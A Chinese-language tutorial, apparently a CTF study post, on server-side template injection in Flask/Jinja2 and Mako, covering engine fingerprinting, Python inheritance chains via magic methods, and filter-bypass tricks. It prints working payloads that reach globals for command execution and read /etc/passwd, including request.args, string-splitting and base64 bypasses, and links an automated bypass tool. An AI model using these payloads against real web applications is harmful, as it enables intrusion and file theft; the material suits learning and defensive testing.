SSTI
模板引擎
SSTI 就是服务器端模板注入(Server-Side Template Injection)
Web开发中,模板引擎是为了使得用户界面和业务逻辑处理分离所产生。而SSTI的成因则是因为服务端没有对用户的输入做很好的处理而产生。
我们最常见到的模板语言便是jinja2,它是Flask框架一部分。它能够用于替换变量,将动态数据渲染到静态 HTML 页面。格式如下:
1 | 变量: |
通常在flask渲染html之前会有一个本地的html界面来作为模板,位于app.py同目录下的templates
之下,
这里给出示例:
1 | <html> |
其中hello是静态的,而被{{}}
包裹的name则可以被动态的替换,而执行这一替换逻辑就是app.py的任务。
我们给出以下示例代码:
1 | from flask import Flask, request, render_template |
除了用query = request.args.get(‘name’)来获取参数传递,也可以通过 URL 路径参数 (/<name>
) 获取。,该方法支持参数类型的限制,例如 <int:id>
。
模板注入
凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是
通常有很多各个语言的常见框架,不同模板则有着不同的语法,总结如下:
附表
上图为判断模板的方法,绿色线表示执行了,红线则表示没有。
以mako模板的靶场为例:
先输入${7*7}
,回显为49,于是再输入a{*comment*}b
,
未执行,于是再使用${"z".join("ab")}
,
成功执行,现在我们便判断出了模板类型为Mako。
魔术方法
一般就是靠继承链先得到父类再看其中有没有什么可以利用的恶意方法函数之类的能够导致命令执行,从而拿到flag。以下是一些魔术方法,我们用他们来构造继承链:
__class__
class用于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为<class 'str'>
。
__bases__
以元组的形式返回一个类所直接继承的类。
__base__
以字符串返回一个类所直接继承的类。
__mro__
返回解析方法调用的顺序。
__subclasses__()
获取类的所有子类。
__init__
所有自带带类都包含init方法,便于利用他当跳板来调用globals。
__globals__
function.__globals__
,用于获取function所处空间下可使用的module、方法以及所有变量。
利用
1 | "".__class__.__mro__[1].__subclasses__().__init__.__globals__ |
这是一套构造的利用链,可以看到object类的所有子类,然后利用.__init__.__globals__
来找到有没有os module或者其他的可以读写文件的。可以用python脚本进行爆破。
SSTI绕过
[]绕过
用__getitem__(2)
或者.pop(2)
来绕过,假如.也被绕过
.绕过
1 | "".__class__等价于""["__class__"] |
“”绕过
一般是用于索引或者路径,可以用request.args来进行绕过,把其当作变量来填充即可。
_绕过
也同样可以用request.args,或者request.form两个传参来绕过(对应GET和POST)
示例:
1 | {{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=____class____&mro=____mro____&subclasses=____subclasses____ |
关键字饶过
字符串拼接
可用加号拆分,使用中括号的payload:
1 | {{""["__cla"+"ss__"]}} |
不使用中括号的payload:
1 | {{"".__getattribute__("__cla"+"ss__")}} |
Base64绕过
1 | {{[].____getattribute____('X19jbGFzc19f'.decode('base64')).____base____.____subclasses____()[40]("/etc/passwd").read()}} |
自动化绕过工具
当然现在有很多自动化工具,比如可以看看:
https://github.com/Marven11/Fenjing